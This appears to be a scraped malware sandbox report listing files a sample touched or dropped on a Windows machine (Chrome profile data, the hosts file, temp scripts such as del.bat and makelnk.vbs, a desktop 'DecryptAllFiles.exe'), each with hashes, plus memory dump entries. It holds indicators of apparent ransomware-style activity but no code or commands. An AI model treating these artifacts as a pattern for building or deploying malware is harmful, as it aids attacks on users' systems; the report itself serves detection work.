T16142D72EA9147A3B9CDBD229F921B757E7F4102174942ED8D6FC8A2C18E79CD3217027
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 3ad24826073159ac1a691b4248e56b8c7436db082b4fd7fe313944bc0374c9e9
MD5 043f22baf3e501e9675798c2fd22bd30
SHA1 9c465aff42a1f72c521ea113efc26ac322ac289c
SHA512 c00409ec4500406da6a0bc830f98e08e78063128a61719cacc40d5c4174aa005ed120287a1e1fad77acd33bac41797b6cd6b84a35f6f122cf897561790d2984a
SSDEEP 192:aRR+8sUi4xYi3v7gpAPRp2Olt99HIZb+WNngXb4u2sFL2WdmlbVyIsnAUgtaJ:aRR+PUHfsUXP/Y+F2sp2WIld8
TLSH
T14642D42EA9147A3B9CDBD229F921B757E7F5102164942EC8E7FC8A2C18E79CD3213017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 16KB
SHA256 ab40a4d7f6c5c1331f1a338a45153df3a96989d5a7e2424add993027736f7bdf
MD5 a229fda5097053ae5733c40229e4e34d
SHA1 c128ddcda4f4ea47c078dc4e12f74111a258f0e2
SHA512 d1ddd0e1daa95829671433e9d340f4ea31e10bc68271e98775b11b1ec20fdbd02cc163604fdca9618f595ed0752c7765f84aadf8884ceb8f836738cae7c36b85
SSDEEP 384:V3jBM7KxkXqKf/pUZNCgVLH2HfgslQwl7pLuLc8TuXODBU+ErU3bwxHGak5JY0hO:VTBM7KxkXqKf/pUZNCgVLH2Hfgsi87pj
TLSH
T16972FA67AC4CAA370F94D6CCD827BE4FADB5024A65DD886883FA581903D4BDF110A1F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\5deb1ec42c0814a7542dba811360418cf8978a5d\index.txt
Size 143B
SHA256 0f13f9e3603671f9813fae394394dbaeec3221ff39d9950b0449ef3056d6dba5
MD5 4dc2c890cf3cd312272783bdd50a33c6
SHA1 bade0f131c991a79f7ef065cec8143492f004f30
SHA512 5d77cccc4b7ed6bb906bc13b4dde3f15f7bc2045d535fc71f5846f26d6b09e930bb9f0d4c5815dfbc807f49b69330382bd17c32b8c669173a65a4f80308bac16
TLSH
T165C02BFB7230902DBE8AFDF51804E11CC3125ECC1CCD0E38C3D0024A912A21074E6F00
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe5987a5.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\5deb1ec42c0814a7542dba811360418cf8978a5d\index.txt~RFe5987a5.TMP
Size 150B
SHA256 54df46891b04972211592292a8fac8f8b2a5b60ab713b40d7d9ad6139bdfab3d
MD5 9bb5c46d461dbfdd6b7118bfbb0d5543
SHA1 6a9295076f6fec17dedf02d27843d4c9dec58f74
SHA512 e627aff931cfef94133834375964c57d455a1eade1db619b6f2ae7d59d14ef3c0f256b22dfcd40c143fed849b3231bc47f8cdb8e8dcb061a41342f581eefb194
TLSH
T1EEC08CBB7230002EBA86A8EA1804A10D83229ECC1C8D0E248290314AA135211B4E9E00
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 144B
SHA256 8689c09a2c18937f3c54caea99d0c1efd36d6833de96710b47d1ed9f0b2c0a2a
MD5 bb6d0f9c31b986af8a3bdb66fe567575
SHA1 9705a67fd7ad87fbf53b0713959a1f7914e7e10a
SHA512 08240c2910ea30922eafb4588a000aff9ca887ca58e981109524bf145f7fa0b8ae5c9bf2b4d93ace4a5afd83df9d524f605570397b391a70ecc30448cb8d2131
TLSH
T1EDC01211C801F131C00607F81082D8DC7218AF72D70603D852E01939E9351324155157
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 144B
SHA256 df7bbcd22c8fee76d92ebeb4019dffa32555fc31bef32aa52fc6142942ae1952
MD5 e042a318d83fd3a4a8e742c97b017046
SHA1 fee97ac042e8c4d7b22388496983d7c545114843
SHA512 6b30704067e7e0ea803f02bc6c5248ffc9f67e1316bfbcbf1f8663d2001fe938d23959b207ef0793b17c8b5274ff84bbe2f83169836c3edbb3b01d93dacfdc31
TLSH
T12BC01223C802F172C10D03B47C86C8FD731CFF20DA02036BB9E02B06BC396314528241
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 d266d5d0c838b3e0d46a475e6b5393ef387b00cf64f5f326a8db49b13b6fa2c3
MD5 b84a9aff0572b35cbc7b22cb1375e0c1
SHA1 ad8267e23d8902b4cdf739ac8d956d5ffaadecf7
SHA512 b22b4546587e5a7c54babeba99a26282bd2621e8c2d5c33c80ed812128fe97fe39c816f733a39e1cfde7aa9628288e395d2c4deaaa343d5f03747cb26236c14e
TLSH
T14FB01212C0C1D192C4450370198588CC7224FF38D6031303B1E41702EC397600524180
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58b215.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58b215.TMP
Size 96B
SHA256 2216ca8c01b354c13a8534b6325d7a60076e93147c634150283ba64b1ec4c698
MD5 95ffc56857c1d2e4bbf346f59f1e8aa5
SHA1 2345c08e4c3122d8b16cb2bae51a1fc3d4d0c6a9
SHA512 f8cbf05f6be41f970a03de6d3e0fb1d446378717606b1be456cb00d91761f81474270f3e10fbd8aefcfd988f16cb565cea45674915409ca72c77afe3fb39d9eb
TLSH
T1D5B02238C2022203C00203B0388880E830B0CF30C203230383F00A3ACC202320F20020
MD5 SHA1 SHA512 TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
Size 138KB
SHA256 1927f4b0b24aebc928756da37ddc3d9eeb2515a18dd363b4a57f83eb4488a07d
MD5 8a6c769655a4ff19c4d68fd9672bdbba
SHA1 55bfad29284f75467757bad1d9036f6e0d6b0112
SHA512 13375addcf399bf98dd42f7d6d733359dd09c2f5f04f239e8ae9b6646c619c61dc098844de196d80cd2d6e7a343e0dec49d75ba66949f5aa9f869802269e0559
SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2Orl9eVumw1nk:1nbZeMrv/hGtrldnk
TLSH
T198D3974B3A743102EDE5DA722CE0517B5E3C716D4F11A5D428B620688EF2963B23E4BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 91KB
SHA256 6ad85e881e0e59b0cf68937c8069748770ce77ca6b8640b96e57b39022a14b77
MD5 372c8ff7d96f6aa374f8546de481277a
SHA1 4e5e6f7efcee907cee6a35a5d2dbf6fe029899a6
SHA512 f87b1491a1ee3f26b856b02a539f7b0a7313639e484b8e5e062222b6dba2b5742520d9f777fcc256c40723a6be9a2f68a7db875f182d43d3576615f87dd7e286
SSDEEP 1536:Lb4P++SKG0qRilWUATqUd408KMYbF5ITGkbEKTldfQVHV+Y6zIFN8m:e++J3qUQm08KMWF0bFTcVHr6zPm
TLSH
T18E9312F99D1E7D3563ABC6A6A0079CAC4CD39CCE121455BC31C76F0E04FA392A34B8A5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 220KB
SHA256 84ab91dcf5f315013a142de9dcc9e2da2ce5970c376c6c04318f3a728793a98d
MD5 67fde41295c5e1b38ada7b7d5ea266db
SHA1 334dbc9d27f98c8ed9e384e86e82658f677b64d6
SHA512 487fb7acfb2ee51b12dd3893b69ff91d08a4e8731564fa9555405d6cf17179b113a92bfe04ee183941550cd2800f05c7bc81eea26689a8a49eddf7d249f02742
SSDEEP 6144:1R1iR4mqlBiyDMu8J3k7BUJc86Hq6++JjcMW2VcVLja:1RLlEN3k7GJc86H3OMWta
TLSH
T1A52422AA5F07383220AC67AA601F7C9E06E24CC81A5D29FD52E15BBB15B73C2774BC45
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 91KB
SHA256 936dcebef59068a09502fa38d601680b6452b0c558b7180d5d9db3fe121ac693
MD5 f944783b949c325d5d3b705746b807a6
SHA1 a63407630209b846a51d5652d7eb7ac13eb00b69
SHA512 b62710ef48c4c4b98842e1d4647efd3c15a45ddeab8f669c7e23921a6e97d4ada027d6f0145f3246df1b17979810a803aabd521a9e71f3a76c1a2bd366a9a546
SSDEEP 1536:fb4P++SKG0qRilWUATqUd408KMYbF5ITGkbEKTldfQVHV+Y6zIFN8m:S++J3qUQm08KMWF0bFTcVHr6zPm
TLSH
T1299312F99D1E7D3563ABC6E6A007ACAC4CD398CE111455BC31C76F0E14FA392A34B8A5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 90KB
SHA256 9518e9ed00c5729d6a301ea1ec29500e3886c40ff1578bf43536851a80550f4d
MD5 f4b7eaec9a3f87f9478a52d84fea73d4
SHA1 fe00a5d4fb2407855dee76ab37ecceda69080c00
SHA512 3c936e8ed6bf34eeca0a900a5eaf76b24bbd5755a5757b4c925776600b0219c8d00972defa270da5eb2f9a23320921dbcd09ccdffd7b43a7d9bdb0f8d61b783f
SSDEEP 1536:ubLP++SKG0qRilWUATqUd408KMYbF5ITGkbEKTldfQVHV+Y6zIFNJm:S++J3qUQm08KMWF0bFTcVHr6zqm
TLSH
T1A59312B9991E7D79636BC696A0079CAC8CD3CCCE111055BC30C76F1E18BA392E31B8E5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kungfumusic.com_chromes.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\kungfumusic.com_chromes.exe.log
Size 660B
SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
MD5 284393596fdd49bebd7b861bf339b82d
SHA1 a36767dfc423b3c7fd3ff439b616862743a053c8
SHA512 8d3247ee0c3bf9a9fceea23eb5c646dbd8b3d954f4d62622f49070629e642d6a13bfb0d27949e2355c081d45f5a1101f05a9972782a0f0a478ed90f551d2efeb
TLSH
T1BD0144703376A0D889263F820C2E52C857BF433AA150AD18B998628DED3601B6B212E7
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_itlrjscy.s0p.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_itlrjscy.s0p.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

createshortcut.vbs

Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
Size 248B
SHA256 54d9ff23e67bdb147bbdd2c74c7fd55267b572463815a8fa15205cdccdfd3fbc
MD5 a08c0d78cf247a1e37aa399b3fb25d4f
SHA1 51bc118ca1b148e30b2b7c41aceb7981348e687a
SHA512 df750fc64fc563dac49545a9b0aa0021adbb29cb31dfa55876184dd6593ce2d678d36350612539a2f3cf737cf17da74781d78a148824bc99800a4c6c22ef9491
TLSH
T19FD0954B710CC5B90000113740F3CD4DEDB0441C3B13FD7055E4CD4D368048045F5043
MD5 SHA1 SHA512 TLSH

Submit Download

del.bat

Path C:\Users\Admin\AppData\Local\Temp\del.bat
Size 59B
SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
MD5 9cecbebdcdd60358132849714a3b82f7
SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
TLSH
T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
MD5 SHA1 SHA512 TLSH

Submit Download

makelnk.vbs

Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
Size 249B
SHA256 d1d50c95bd120f89a948cf34afbdd7edde7237b72955e797ceca05fb9eaa932e
MD5 382fa8a145a7a4031e88dc48da19390a
SHA1 6c49296a19c0b659cd7f5a8722f81832688dd504
SHA512 b110caa07fbd54f8c2db9c3e0b59706a5934429c67995223eb938f5ed4acb4d6de09d83a7edc835122dec156be66506020e2ba66f77eb37bf54b7fafb887feb6
TLSH
T162D02B8A7108C5A90000113B40B38D4DEDA144183A13AD30A5A4CD0D368044045F5042
MD5 SHA1 SHA512 TLSH

Submit Download

DecryptAllFiles.exe

Path C:\Users\Admin\Desktop\DecryptAllFiles.exe
Size 50KB
SHA256 57b507718048d3d97a0c6c5c536df0b5d64b3189026910b251616be13b16b163
MD5 bad4cf3b78733820bcb59e5b1adb355b
SHA1 010e7df2dd682d41acd69436fddf984202c1e038
SHA512 105ef6b6fe96c0534ff78632f8597fb95abc99113b5b4c9feb2f277fd6d793180feaaf34f955b5d4cd344dc87cd8834b6c71bb010596905c1a7cb59686eeaa72
SSDEEP 768:9ddhlhJSVuF2FDpIsLso8vrW+F0a/u/RgL4xC1XXGblfppPKFc5xq:7dJFFwNW3vX0kuGL4xEXGblfLPucm
TLSH
T16433F75477F98511F1BF8ABA4DB192019B31B8A39C23D78E0AD5058E1AB3740CDA8F77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hosts

Path C:\Windows\system32\drivers\etc\hosts
Size 1KB
SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
MD5 d7645147eacea72992c3efbc22e7a507
SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
TLSH
T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
MD5 SHA1 SHA512 TLSH

Submit Download

hosts

Path C:\Windows\system32\drivers\etc\hosts
Size 1KB
SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
MD5 ffbf3122b27f828d8fd3c577ccf970b0
SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
TLSH
T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
MD5 SHA1 SHA512 TLSH

Submit Download

hosts

Path C:\Windows\system32\drivers\etc\hosts
Size 1KB
SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
MD5 20c351356d10acf150d790bfa940d4ca
SHA1 cb3f2a2b2e9e4a96bf64b1439cfcfe9e8e77e426
SHA512 d1432210bd44c3ade5ea85be5c6df72a420bd7a1e610c574cdfd39b9d2b7e6d6205cf4daac5f0b8479e2d7784ba1d74ab3e752ea0eb2eb853460225b452a5fe6
TLSH
T10B218835064991AC26F381A50429F42FE31FE0FB0DABD9C93A8DC54E3BA1A1C53A2649
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3076-1124-0x000001F22AD30000-0x000001F22AD3A000-memory.dmp

Download

memory/3076-2593-0x000001F211D00000-0x000001F2124AE000-memory.dmp

Download

memory/3076-2438-0x000001F22AEF0000-0x000001F22AF0A000-memory.dmp

Download

memory/3076-730-0x000001F22AC50000-0x000001F22AC6C000-memory.dmp

Download

memory/3076-2216-0x000001F22AE90000-0x000001F22AE9A000-memory.dmp

Download

memory/3076-23-0x000001F22A8C0000-0x000001F22A8E2000-memory.dmp

Download

memory/3076-1393-0x000001F22AEB0000-0x000001F22AECC000-memory.dmp

Download

memory/3076-2531-0x000001F22AEE0000-0x000001F22AEEA000-memory.dmp

Download

memory/3076-30-0x000001F2125A0000-0x000001F2125B2000-memory.dmp

Download

memory/3076-2530-0x000001F22AED0000-0x000001F22AED6000-memory.dmp

Download

memory/3076-29-0x000001F211D00000-0x000001F2124AE000-memory.dmp

Download

memory/3076-2528-0x000001F22AEA0000-0x000001F22AEA8000-memory.dmp

Download

memory/3076-734-0x000001F22AC70000-0x000001F22AD23000-memory.dmp

Download

memory/3784-471-0x000002D0CC5F0000-0x000002D0CC621000-memory.dmp

Download

memory/3784-47-0x000002D0CC5F0000-0x000002D0CC621000-memory.dmp

Download

memory/4064-2471-0x0000013C32E50000-0x0000013C335FE000-memory.dmp

Download

memory/4620-2570-0x0000027493950000-0x00000274940FE000-memory.dmp

Download

memory/4868-2477-0x000000001B560000-0x000000001BD0E000-memory.dmp

Download

memory/4868-86-0x000000001B560000-0x000000001BD0E000-memory.dmp

Download

memory/4868-2542-0x000000001B560000-0x000000001BD0E000-memory.dmp

Download

memory/4868-1-0x000000001BEA0000-0x000000001BEB0000-memory.dmp

Download

memory/4868-2604-0x000000001B560000-0x000000001BD0E000-memory.dmp

Download

memory/4868-36-0x000000001BEA0000-0x000000001BEB0000-memory.dmp

Download

memory/4868-2509-0x000000001B560000-0x000000001BD0E000-memory.dmp

Download

memory/4868-2567-0x000000001B560000-0x000000001BD0E000-memory.dmp

Download

memory/4868-0-0x00000000008C0000-0x00000000008D2000-memory.dmp

Download

memory/4868-26-0x000000001B560000-0x000000001BD0E000-memory.dmp

Download

memory/4868-2568-0x000000001C790000-0x000000001C7A2000-memory.dmp

Download

memory/5080-2561-0x000000001AF00000-0x000000001B6AE000-memory.dmp

Download

memory/5268-2508-0x000000001BB40000-0x000000001C2EE000-memory.dmp

Download

memory/5404-2598-0x0000018943F80000-0x000001894472E000-memory.dmp

Download

memory/5992-2510-0x000001630CD90000-0x000001630CD91000-memory.dmp

Download

memory/5992-2553-0x000001630CE20000-0x000001630D5CE000-memory.dmp

Download